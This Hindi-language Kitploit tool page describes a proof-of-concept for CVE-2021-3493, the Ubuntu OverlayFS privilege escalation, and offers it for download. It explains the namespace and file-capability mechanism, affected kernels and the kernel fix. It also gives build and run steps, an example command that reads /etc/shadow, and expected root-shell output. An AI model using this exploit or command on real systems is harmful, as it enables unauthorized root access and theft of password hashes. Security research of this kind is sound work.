Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/0xlane/cve-2021-3493
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणलर्निंग और शिक्षाबाइनरी शोषण
GitHub0xlane/cve-2021-3493

CVE-2021-3493

CVE-2021-3493 के लिए दो-चरणीय प्रूफ-ऑफ-कॉन्सेप्ट, जो Ubuntu OverlayFS का उपयोग करके उपयोगकर्ता नेमस्पेस में फ़ाइल क्षमता हेरफेर के माध्यम से अविशेषाधिकार प्राप्त उपयोगकर्ता से रूट तक पहुंच बढ़ाने का शोषण करता है।

रिपॉजिटरी देखें
21 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-3493 — उबंटू ओवरलेएफएस स्थानीय विशेषाधिकार वृद्धि

CVE-2021-3493 के लिए एक काम करने वाला प्रूफ-ऑफ-कॉन्सेप्ट, जो उबंटू कर्नेल के ओवरलेएफएस कार्यान्वयन में एक स्थानीय विशेषाधिकार वृद्धि भेद्यता है।

एक गैर-विशेषाधिकार प्राप्त उपयोगकर्ता उपयोगकर्ता नेमस्पेस के अंदर एक ओवरले फाइलसिस्टम माउंट कर सकता है और setxattr के माध्यम से मनमानी फ़ाइल क्षमताएँ सेट कर सकता है। कर्नेल इन क्षमताओं के नेमस्पेस मूल को मान्य करने में विफल रहता है, इसलिए वे init उपयोगकर्ता नेमस्पेस में प्रभावी हो जाती हैं — जिससे कोई भी स्थानीय उपयोगकर्ता रूट तक विशेषाधिकार वृद्धि कर सकता है।

प्रभावित संस्करण

यह भेद्यता उबंटू-विशिष्ट है। उबंटू एक पैच (FS_USERNS_MOUNT) रखता है जो गैर-विशेषाधिकार प्राप्त ओवरले माउंट की अनुमति देता है — अपस्ट्रीम कर्नेल ऐसा नहीं करते, इसलिए मेनलाइन लिनक्स और अन्य वितरण आमतौर पर प्रभावित नहीं होते।

वितरणकर्नेलअसुरक्षित (निवारण संस्करण)
Ubuntu 20.105.8< 5.8.0-50
Ubuntu 20.04 LTS5.4< 5.4.0-72
Ubuntu 18.04 LTS4.15< 4.15.0-142
Ubuntu 18.04 LTS (HWE)5.3< 5.3.0-73
Ubuntu 16.04 LTS4.4< 4.4.0-209
Ubuntu 14.04 ESM (HWE)4.4< 4.4.0-209

स्रोत: USN-4916-1

यह कैसे काम करता है

यह PoC दो-चरणीय डिज़ाइन का उपयोग करता है:

फ़ाइलभूमिका
exploit.cचरण 1 — उपयोगकर्ता नेमस्पेस के अंदर एक ओवरले फाइलसिस्टम बनाता है, रूटशेल पेलोड को उसमें कॉपी करता है, और security.capability xattr को सभी क्षमताओं (सभी+ep) के साथ सेट करता है

दो चरण क्यों? मूल inspiringz/CVE-2021-3493 PoC में एक्सप्लॉइट उपयोगकर्ता नेमस्पेस के अंदर से एक शेल exec करता है, इसलिए uid=0 केवल एक नेमस्पेस मैपिंग है — वास्तविक रूट नहीं। यह PoC ओवरले सेटअप (उपयोगकर्ता नेमस्पेस में चाइल्ड प्रक्रिया) को पेलोड निष्पादन (init नेमस्पेस में पैरेंट प्रक्रिया) से अलग करता है, वास्तविक विशेषाधिकार वृद्धि सुनिश्चित करता है।

root@kitploit:~
exploit (init ns, uid=1000)
  │
  ├─ fork → child (user ns)
  │    ├─ unshare(CLONE_NEWUSER | CLONE_NEWNS)
  │    ├─ mount overlayfs
  │    ├─ copy rootshell → overlay merge dir
  │    ├─ setxattr("security.capability", all+ep)   ← vulnerability trigger
  │    └─ exit
  │
  └─ parent (init ns, uid=1000)
       └─ execl("upper/rootshell")
            ├─ kernel loads file capabilities in init ns
            │   CapPrm: 0000003fffffffff
            │   CapEff: 0000003fffffffff
            ├─ setuid(0) → success
            ├─ setgid(0) → success
            └─ exec /bin/bash → real root shell

मूल PoC पर सुधार

  1. /dev/shm → /tmp: मूल /dev/shm का उपयोग करता है जो nosuid के साथ माउंट होता है, जिससे कर्नेल निष्पादन पर फ़ाइल क्षमताओं को चुपचाप अनदेखा कर देता है। यह PoC /tmp का उपयोग करता है (आमतौर पर ext4 पर nosuid के बिना)।

  2. दो-चरणीय पेलोड: मूल स्वयं की प्रतिलिपि (/proc/self/exe) को क्षमता-वहन बाइनरी के रूप में कॉपी करता है, लेकिन चूंकि एक्सप्लॉइट unshare को कॉल करता है, इसे पुनः निष्पादित करना केवल एक उपयोगकर्ता नेमस्पेस में फिर से प्रवेश करता है। यह PoC एक अलग rootshell बाइनरी का उपयोग करता है जो सीधे क्षमताओं का उपभोग करता है।

परीक्षण किया गया

OSUbuntu 20.04.1 LTS (Focal Fossa)
कर्नेल5.4.0-65-generic (असुरक्षित) / 5.4.0-216-generic (पैच किया हुआ)
कॉन्फ़िगरेशनडिफ़ॉल्ट Ubuntu Server इंस्टॉल — कोई मिटिगेशन अक्षम नहीं

परीक्षण होस्ट सभी डिफ़ॉल्ट सुरक्षा सुविधाओं के साथ एक स्टॉक उबंटू 20.04 कर्नेल का उपयोग करता है:

  • CONFIG_USER_NS=y + kernel.unprivileged_userns_clone=1 (डिफ़ॉल्ट — गैर-विशेषाधिकार प्राप्त उपयोगकर्ता नेमस्पेस की अनुमति देता है)
  • CONFIG_OVERLAY_FS=m (डिफ़ॉल्ट — ओवरलेएफएस मॉड्यूल के रूप में उपलब्ध)
  • AppArmor सक्रिय, seccomp सक्षम, KASLR चालू, स्टैक प्रोटेक्टर, FORTIFY_SOURCE — सभी डिफ़ॉल्ट पर
  • कोई विशेष कर्नेल कमांड-लाइन पैरामीटर नहीं (BOOT_IMAGE=... root=... ro)

किसी भी सुरक्षा सुविधा को अक्षम करने की आवश्यकता नहीं है — एक्सप्लॉइट डिफ़ॉल्ट उबंटू 20.04 पर एक असुरक्षित कर्नेल के साथ बिना किसी बदलाव के काम करता है।

बिल्ड और रन

⚠️ चेतावनी: इसे केवल उन्हीं सिस्टम पर चलाएँ जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपको स्पष्ट रूप से अधिकृत किया गया है। यह एक्सप्लॉइट वास्तविक रूट एक्सेस प्रदान करता है।

root@kitploit:~
make
./exploit

डिफ़ॉल्ट व्यवहार एक इंटरैक्टिव रूट शेल उत्पन्न करता है। आप एक एकल कमांड भी चला सकते हैं:

root@kitploit:~
./exploit "id && cat /etc/shadow"

अपेक्षित आउटपुट

root@kitploit:~
============================================
  CVE-2021-3493 OverlayFS Privilege Escalation
  Kernel: 5.4.0-65-generic
  User:   uid=1000(user) gid=1000(user)
============================================

[1] Setting up overlay filesystem in user namespace...
[2] File capabilities set on /tmp/.ovlcap/upper/rootshell
[3] Executing rootshell from init namespace...

[*] Before privilege escalation:
    uid=1000(user) gid=1000(user)
[*] Process capabilities:
    CapInh: 0000000000000000
    CapPrm: 0000003fffffffff
    CapEff: 0000003fffffffff
    CapBnd: 0000003fffffffff
    CapAmb: 0000000000000000

[+] After setuid(0) + setgid(0):
    uid=0(root) gid=0(root)

root@host:~#

सफाई

root@kitploit:~
make clean

कर्नेल फिक्स

पैच किए गए कर्नेल (जैसे उबंटू 20.04 पर >= 5.4.0-70) जब उपयोगकर्ता नेमस्पेस में ओवरले के माध्यम से सेट किया जाता है तो क्षमता xattr को v2 से v3 प्रारूप में अपग्रेड करते हैं। v3 प्रारूप में init नेमस्पेस में सेटर के वास्तविक UID को रिकॉर्ड करने वाला rootid फ़ील्ड शामिल है। निष्पादन पर, कर्नेल rootid की जाँच करता है — यदि यह 0 नहीं है, तो क्षमताएँ अस्वीकार कर दी जाती हैं:

root@kitploit:~
# Vulnerable kernel (5.4.0-65) — v2 format, no rootid
security.capability = 0x01000002 ffffffff00000000 ffffffff00000000

# Patched kernel (5.4.0-70+) — v3 format, rootid=1000
security.capability = 0x01000003 ffffffff00000000 ffffffff00000000 e8030000
                           ^^                                      ^^^^^^^^
                           v3                                    rootid=1000

संदर्भ

  • उबंटू सुरक्षा सलाह — CVE-2021-3493
  • NVD — CVE-2021-3493
  • Inspiringz द्वारा मूल PoC
  • Kernel patch (ovl: fix missing negative dentry check)

अस्वीकरण

यह कोड केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है। इसका उपयोग केवल उन्हीं सिस्टम पर करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं।

टूल डाउनलोड करें
rootshell.cचरण 2 — एक साफ पेलोड जो फ़ाइल क्षमताओं का उपयोग करके setuid(0) को कॉल करता है और एक वास्तविक रूट शेल उत्पन्न करता है